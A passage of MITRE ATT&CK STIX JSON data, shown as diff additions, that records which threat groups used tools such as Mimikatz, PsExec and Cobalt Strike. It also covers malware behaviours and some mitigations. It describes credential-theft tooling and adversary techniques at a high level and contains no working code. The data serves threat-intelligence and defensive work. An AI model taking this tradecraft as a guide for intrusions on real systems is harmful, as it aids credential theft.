"[Cleaver](https://attack.mitre.org/groups/G0003) has obtained and used open-source tools such as [PsExec](https://attack.mitre.org/software/S0029), [Windows Credential Editor](https://attack.mitre.org/software/S0005), and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Cylance Cleaver)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T19:34:36.352Z", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T19:34:36.352Z", + "external_references": [ + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f9b07e52-aff8-4fad-af72-ff646495d25f", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) has obtained and used open-source tools such as [PsExec](https://attack.mitre.org/software/S0029) and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Kaspersky Carbanak)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-18T21:02:31.520Z", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T19:38:50.277Z", + "external_references": [ + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "source_name": "Kaspersky Carbanak" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--321a0d18-11a6-4504-add5-8ee515a43170", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has obtained and used open-source tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [gsecdump](https://attack.mitre.org/software/S0008), and [Windows Credential Editor](https://attack.mitre.org/software/S0005).(Citation: Symantec Tick Apr 2016)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T19:42:17.109Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T19:42:17.109Z", + "external_references": [ + { + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "source_name": "Symantec Tick Apr 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a7213656-7166-4b88-8d32-f388a2ef1671", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has obtained and used open-source tools such as [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: ESET Lazarus KillDisk April 2018)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T19:44:57.908Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T19:44:57.908Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/", + "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.", + "source_name": "ESET Lazarus KillDisk April 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bfa11036-022f-49b3-a6bd-7cf2083a264e", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002) and [Cobalt Strike](https://attack.mitre.org/software/S0154), and a variety of other open-source tools from GitHub.(Citation: FireEye APT32 May 2017)(Citation: Cybereason Oceanlotus May 2017)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T19:48:13.315Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T19:48:13.315Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fd49b386-9455-4a23-b5eb-b673e58b9d3a", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [Empire](https://attack.mitre.org/software/S0363), and [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Unit 42 DarkHydrus July 2018)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T19:52:22.587Z", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T19:52:22.587Z", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--77f919ce-1a18-4ee5-9979-1c9b818ca973", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: NCC Group APT15 Alive and Strong)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T20:02:51.819Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T20:02:51.819Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "source_name": "NCC Group APT15 Alive and Strong" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7eecb510-7937-40d2-b491-7d9165b5afc1", + "description": "[Thrip](https://attack.mitre.org/groups/G0076) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002) and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Symantec Thrip June 2018)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T20:13:42.399Z", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T20:13:42.399Z", + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2370fba0-1d66-4aad-ac01-fb63857b7732", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has obtained and used a variety of tools including [Mimikatz](https://attack.mitre.org/software/S0002), [SDelete](https://attack.mitre.org/software/S0195), [Tor](https://attack.mitre.org/software/S0183), [meek](https://attack.mitre.org/software/S0175), and [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Mandiant No Easy Breach)(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T20:16:55.367Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T20:16:55.367Z", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. 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Retrieved October 9, 2018.", + "source_name": "PTSecurity Cobalt Dec 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--86169d65-b154-402d-918c-4b4602d71cd0", + "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002) and [gsecdump](https://attack.mitre.org/software/S0008).(Citation: Bizeul 2014)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T23:11:41.587Z", + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T20:28:11.342Z", + "external_references": [ + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. 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Retrieved September 29, 2015.", + "url": "https://airbus-cyber-security.com/the-eye-of-the-tiger/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--164bf82a-10bf-4a6d-b43c-70ff11f60229", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002) and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Netscout Stolen Pencil Dec 2018)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T20:34:01.273Z", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T20:34:01.273Z", + "external_references": [ + { + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", + "description": "ASERT team. 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Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e215f890-b524-4456-a104-64ac8abda389", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002) and [PsExec](https://attack.mitre.org/software/S0029).(Citation: FireEye TRITON 2019)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T20:40:46.602Z", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T20:40:46.602Z", + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5614b582-eeed-4a52-a2e0-2f756f03e26c", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [Cobalt Strike](https://attack.mitre.org/software/S0154), and [AdFind](https://attack.mitre.org/software/S0552).(Citation: Security Intelligence More Eggs Aug 2019)(Citation: FireEye FIN6 Apr 2019)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T20:50:46.945Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T20:50:46.945Z", + "external_references": [ + { + "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--35f5f7b9-8b86-4390-9f99-1d56aa1ae32a", + "description": "[APT41](https://attack.mitre.org/groups/G0096) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [pwdump](https://attack.mitre.org/software/S0006), [PowerSploit](https://attack.mitre.org/software/S0194), and [Windows Credential Editor](https://attack.mitre.org/software/S0005).(Citation: FireEye APT41 Aug 2019)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T20:52:42.758Z", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T20:52:42.758Z", + "external_references": [ + { + "url": "https://content.fireeye.com/apt-41/rpt-apt41", + "description": "Fraser, N., et al. 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Retrieved August 4, 2021.", + "source_name": "SentinelOne NobleBaron June 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9b363538-86e1-446a-a4f8-b3045a7e8f68", + "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [CrackMapExec](https://attack.mitre.org/software/S0488), and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Secureworks IRON LIBERTY July 2019)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T21:50:33.176Z", + "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T21:50:33.176Z", + "external_references": [ + { + "url": "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector", + "description": "Secureworks. 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Retrieved August 12, 2020.", + "source_name": "Secureworks IRON LIBERTY July 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb909b8f-59ba-4edd-ac04-7d9fafdcfe89", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has obtained and used tools such as [BloodHound](https://attack.mitre.org/software/S0521), [Cobalt Strike](https://attack.mitre.org/software/S0154), [Mimikatz](https://attack.mitre.org/software/S0002), and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T21:53:01.112Z", + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T21:53:01.112Z", + "external_references": [ + { + "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", + "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.", + "source_name": "Cycraft Chimera April 2020" + }, + { + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.", + "source_name": "NCC Group Chimera January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5eba2b01-da0d-4340-816b-16a4f3cc8ba6", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has obtained and used open-source tools such as [QuasarRAT](https://attack.mitre.org/software/S0262).(Citation: Volexity Patchwork June 2018)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T21:55:09.989Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T21:55:09.989Z", + "external_references": [ + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. 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Retrieved March 24, 2021.", + "source_name": "Apple Developer Doco Hardened Runtime" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--da7b2203-dade-4ec0-85a5-dada9409ae2f", + "description": "Configure applications to use the application bundle structure which leverages the /Resources folder location.(Citation: Apple App Security Overview) ", + "target_ref": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb", + "modified": "2021-10-16T01:50:40.681Z", + "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2021-10-13T06:37:46.726Z", + "external_references": [ + { + "url": "https://support.apple.com/guide/security/app-security-overview-sec35dd877d0/1/web/1", + "description": "Apple Inc. (2021, February 18). App security overview. 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New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--983e91df-bb1a-4658-aaad-7549b1a81917", + "description": "[NativeZone](https://attack.mitre.org/software/S0637) has checked if Vmware or VirtualBox VM is running on a compromised host.(Citation: MSTIC Nobelium Toolset May 2021)", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "modified": "2021-10-13T13:00:59.069Z", + "source_ref": "malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-13T13:00:59.069Z", + "external_references": [ + { + "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", + "description": "MSTIC. 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Retrieved August 4, 2021.", + "source_name": "MSTIC Nobelium Toolset May 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bc2fe4e7-cb7c-4707-b28b-a709c2ac017d", + "description": "[NativeZone](https://attack.mitre.org/software/S0637) has, upon execution, displayed a message box that appears to be related to a Ukrainian electronic document management system.(Citation: SentinelOne NobleBaron June 2021)", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "modified": "2021-10-16T02:03:14.677Z", + "source_ref": "malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-13T13:00:59.082Z", + "external_references": [ + { + "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", + "description": "Guerrero-Saade, J. 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Retrieved August 4, 2021.", + "source_name": "SentinelOne NobleBaron June 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6e374d3-1de7-4f5e-8fce-42cc326886bc", + "description": "[NativeZone](https://attack.mitre.org/software/S0637) has used rundll32 to execute a malicious DLL.(Citation: SentinelOne NobleBaron June 2021)", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "modified": "2021-10-13T13:00:59.084Z", + "source_ref": "malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-13T13:00:59.084Z", + "external_references": [ + { + "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", + "description": "Guerrero-Saade, J. (2021, June 1). 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Retrieved August 4, 2021.", + "source_name": "SentinelOne NobleBaron June 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7f80cb84-3cb5-4de3-a484-1c0a60e2dbcf", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used VBSscipt macros for execution on compromised hosts.(Citation: Check Point APT34 April 2021)", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2021-10-13T13:30:46.576Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-13T13:30:46.576Z", + "external_references": [ + { + "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", + "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. 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Retrieved August 4, 2021.", + "source_name": "MSTIC Nobelium Toolset May 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6813e94f-a123-4898-80c8-59e74c390fe3", + "description": "[EnvyScout](https://attack.mitre.org/software/S0634) has been distributed via spearphishing as an email attachment.(Citation: MSTIC Nobelium Toolset May 2021)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2021-10-13T15:21:03.218Z", + "source_ref": "malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-13T15:21:03.218Z", + "external_references": [ + { + "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", + "description": "MSTIC. (2021, May 28). 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Retrieved March 2, 2021.", + "source_name": "FireEye Ransomware Feb 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc9d110c-be6f-4976-90f9-1efde4a668e5", + "description": "[Nomadic Octopus](https://attack.mitre.org/groups/G0133) has used PowerShell for execution.(Citation: ESET Nomadic Octopus 2018) ", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2021-10-14T14:09:00.754Z", + "source_ref": "intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-13T22:04:28.608Z", + "external_references": [ + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf", + "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. 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Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.", + "source_name": "Intezer TeamTNT September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6bbd0299-4e8b-4d31-83c4-c690e43294c0", + "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has searched for unsecured SSH keys.(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Trend Micro TeamTNT)", + "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", + "modified": "2021-10-15T18:47:18.472Z", + "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-15T18:47:18.472Z", + "external_references": [ + { + "url": "https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/", + "description": "Cado Security. (2020, August 16). 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(2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021.", + "source_name": "trendmicro xcsset xcode project 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": ".bash_profile and .bashrc Mitigation", + "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:02:53.251Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1156", + "external_id": "T1156", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Access Token Manipulation Mitigation", + "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:29:27.367Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1134", + "external_id": "T1134", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object", + "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", + "source_name": "Microsoft Create Token" + }, + { + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token", + "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", + "source_name": "Microsoft Replace 